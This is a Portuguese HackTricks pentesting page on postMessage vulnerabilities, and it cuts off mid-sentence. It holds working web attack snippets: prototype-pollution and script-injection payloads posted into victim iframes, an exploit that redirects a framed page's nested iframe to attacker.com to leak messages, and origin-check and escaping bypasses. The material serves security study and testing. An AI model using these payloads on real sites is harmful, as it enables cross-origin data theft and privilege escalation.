hacktricks/pentesting-web/postmessage-vulnerabilities/README.md

14 KiB

Vulnerabilidades do PostMessage

Vulnerabilidades do PostMessage

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Enviar PostMessage

PostMessage usa a seguinte função para enviar uma mensagem:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Note que targetOrigin pode ser um '*' ou uma URL como https://company.com.
No segundo cenário, a mensagem só pode ser enviada para esse domínio (mesmo que a origem do objeto janela seja diferente).
Se o coringa for usado, mensagens podem ser enviadas para qualquer domínio, e serão enviadas para a origem do objeto Janela.

Atacando iframe & coringa em targetOrigin

Conforme explicado neste relatório, se você encontrar uma página que pode ser inserida em um iframe (sem proteção de X-Frame-Header) e que está enviando mensagens sensíveis via postMessage usando um coringa (*), você pode modificar a origem do iframe e vazar a mensagem sensível para um domínio controlado por você.
Note que se a página puder ser inserida em um iframe, mas o targetOrigin estiver definido como uma URL e não como um coringa, esse truque não funcionará.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

Exploração do addEventListener

O addEventListener é a função usada pelo JS para declarar a função que está aguardando postMessages.
Um código semelhante ao seguinte será usado:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

Enumeração

Para encontrar ouvintes de eventos na página atual, você pode:

  • Pesquisar o código JS por window.addEventListener e $(window).on (versão JQuery)
  • Executar no console das ferramentas de desenvolvedor: getEventListeners(window)

  • Ir para Elementos --> Ouvintes de Eventos nas ferramentas de desenvolvedor do navegador

Contornos de verificação de origem

  • O atributo event.isTrusted é considerado seguro, pois retorna True apenas para eventos gerados por ações genuínas do usuário. Embora seja desafiador de contornar se implementado corretamente, sua importância em verificações de segurança é notável.

  • O uso de indexOf() para validação de origem em eventos PostMessage pode ser suscetível a contornos. Um exemplo ilustrando essa vulnerabilidade é:

("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • O método search() de String.prototype.search() é destinado a expressões regulares, não a strings. Passar qualquer coisa que não seja uma expressão regular leva à conversão implícita para regex, tornando o método potencialmente inseguro. Isso ocorre porque em regex, um ponto (.) age como um caractere curinga, permitindo contornar a validação com domínios especialmente elaborados. Por exemplo:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • A função match(), semelhante a search(), processa regex. Se a regex for estruturada incorretamente, ela pode ser propensa a contornos.

  • A função escapeHtml é destinada a sanitizar entradas escapando caracteres. No entanto, ela não cria um novo objeto escapado, mas sobrescreve as propriedades do objeto existente. Esse comportamento pode ser explorado. Especialmente, se um objeto puder ser manipulado de forma que sua propriedade controlada não reconheça hasOwnProperty, o escapeHtml não funcionará conforme o esperado. Isso é demonstrado nos exemplos abaixo:

  • Falha esperada:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • Contornando o escape:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

No contexto dessa vulnerabilidade, o objeto File é notavelmente explorável devido à sua propriedade name somente leitura. Essa propriedade, quando usada em modelos, não é sanitizada pela função escapeHtml, levando a potenciais riscos de segurança.

  • A propriedade document.domain em JavaScript pode ser definida por um script para encurtar o domínio, permitindo uma aplicação mais relaxada da política de mesma origem dentro do mesmo domínio pai.

Contorno de e.origin == window.origin

Ao incorporar uma página da web em um iframe isolado usando %%%